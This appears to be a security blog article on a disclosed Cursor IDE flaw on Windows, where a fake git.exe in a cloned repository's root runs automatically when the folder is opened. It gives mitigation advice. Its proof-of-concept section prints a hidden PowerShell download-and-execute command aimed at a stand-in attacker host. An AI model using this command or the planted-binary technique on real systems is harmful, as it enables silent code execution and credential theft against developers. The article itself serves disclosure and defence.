RCE in Cursor IDE for Windows: The Threat of Malicious Git
Learn how a malicious Git repository containing a fake git.exe can silently execute arbitrary code in Cursor IDE on Windows systems.
Modern software development has undergone a major shift thanks to artificial intelligence-driven tools. Among them, Cursor IDE has positioned itself as a favorite choice for thousands of developers due to its ability to autocomplete code contextually, generate complex functions, and speed up application debugging. However, such rapid adoption and high development speed often come with significant security risks.
Recently, security researchers at cybersecurity firm Mindgard disclosed a critical remote code execution (RCE) vulnerability in Cursor IDE that specifically affects users on Windows operating systems. This security flaw allows an attacker to execute commands completely silently on a victim's machine simply by getting them to open a project directory containing a maliciously crafted Git repository.
How the Binary Search Path Exploit Works in Cursor
The origin of this vulnerability lies in a search path resolution issue and design flaw in the version control initialization system. When a developer opens a project or workspace in Cursor, the development environment performs several background checks. One of these is detecting the git command to integrate version control capabilities, show active branches, and allow commits directly from the editor's graphical interface.
The problem is that on Windows operating systems, the IDE does not restrict its search for the git.exe binary to the system directories preconfigured in the %PATH% environment variable (such as C:\Program Files\Git\bin\git.exe). Instead, it prioritizes the root directory of the opened workspace.
If a threat actor places a malicious executable renamed to git.exe inside the root folder of a project, the IDE will run this binary automatically. This execution happens immediately upon opening the workspace folder, without requiring any interaction with the version control system and without the operating system displaying any security warning prompts.
Binary and Trust Management Comparison Across Editors
To understand the severity of this design flaw in Cursor IDE, we can compare its behavior with other text editors and development environments on the market:
| Security Feature | VS Code (Patched/Secure) | Cursor IDE (Vulnerable on Windows) |
|---|---|---|
| Git Resolution Priority | Strictly uses paths configured in the system. | Prioritizes the root of the opened workspace. |
| Workspace Trust | Blocks extensions and tasks until explicit user approval is given. | Executes tool initialization before requesting trust confirmation. |
| Required Interaction | The user must interactively accept workspace trust. | None. Running is automatic in the background. |
| Impact of Folder Opening | Completely isolated and safe. | Immediate arbitrary code execution (RCE). |
As shown in the comparison table, while most modern editors (including VS Code, on which Cursor is partially based) feature strict Workspace Trust mechanisms that block any automatic execution of scripts or tools before the user approves the origin of the files, Cursor IDE bypasses this security barrier by executing the presumed Git binary prematurely.
Technical Analysis of Command Execution (PoC)
The attack can be structured in a very simple yet highly damaging way. An attacker only needs to write a script or compile a Windows-compatible program, name it git.exe, and place it in the root directory of a repository.
For instance, a malicious batch file or binary in C++ could secretly invoke PowerShell to connect to the attacker's command and control (C2) server:
# Demonstration of a fake git.exe behavior
# The malicious binary executes this command to download and run code in memory
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" -WindowStyle Hidden
When Cursor IDE detects the workspace, it internally performs calls equivalent to:
C:\my-cloned-project> git.exe status
Because the current working directory is at the beginning of the implicit search paths on Windows for certain system commands, the local, malicious git.exe file runs instead of the official system Git. The attacker thus achieves code execution with the same level of privileges as the developer who opened the project.
The Real Danger to the Supply Chain
This type of vulnerability is particularly dangerous because of the typical workflow of software engineers. Developers are constantly cloning public repositories from platforms like GitHub, GitLab, or Bitbucket to study open-source libraries, test dependencies, or collaborate on community projects.
If an attacker launches a social engineering campaign, compromises a legitimate developer's account, or creates a malicious fork of a popular repository and embeds this exploit, any developer on Windows who clones and inspects the code using Cursor IDE will have their system compromised in a matter of seconds.
Attackers can leverage this initial access to:
- Extract environment variables containing production credentials.
- Rob private SSH keys stored in the
~/.sshdirectory. - Compromise cloud service access keys (AWS, Azure, Google Cloud).
- Deploy ransomware on the corporate network the developer is connected to.
Recommended Mitigation Measures
Until Cursor developers publish an official update that implements strict path restrictions on third-party tool executions and patches this flaw on Windows, it is imperative that you adopt the following protective measures:
- Avoid opening unknown repositories directly: Do not open any folder downloaded from the internet on Windows through Cursor without first examining its contents externally.
- Inspect the root directory: Before opening a project in the IDE, open your file explorer or a console and ensure that there are no files named
git,git.exe, or similar suspicious executables in the project root. - Use prior analysis tools: If you are cloning a repository or clicking an unknown download link, we recommend analyzing the reliability of the link using the TecnoCrypter URL Checker.
- Use isolated development environments: To inspect repositories whose origin is not 100% reliable, make use of local virtual machines, isolated Docker containers, or the native Windows isolation environment (Windows Sandbox).
- Temporarily migrate to secure terminals: You can disable Git integration in the visual editor and manage all your repositories and version control commands manually through a standard PowerShell or CMD console that is not vulnerable to this automatic local search.
Conclusion
The discovery of this vulnerability in Cursor IDE reminds us that the productivity and development tools we use daily are also primary targets for cybercriminals. Limitless automation and the lack of strict Workspace Trust security controls on Windows systems enable simple and highly effective attack vectors.
To keep your company's development infrastructure secure, keep all your environments updated, adopt secure coding policies, and use local threat verification tools. If you want to learn more about data sharing security, we suggest checking our article on how to share passwords securely on the Internet or learning how attackers gather information through hidden data in the invisible threat of metadata.
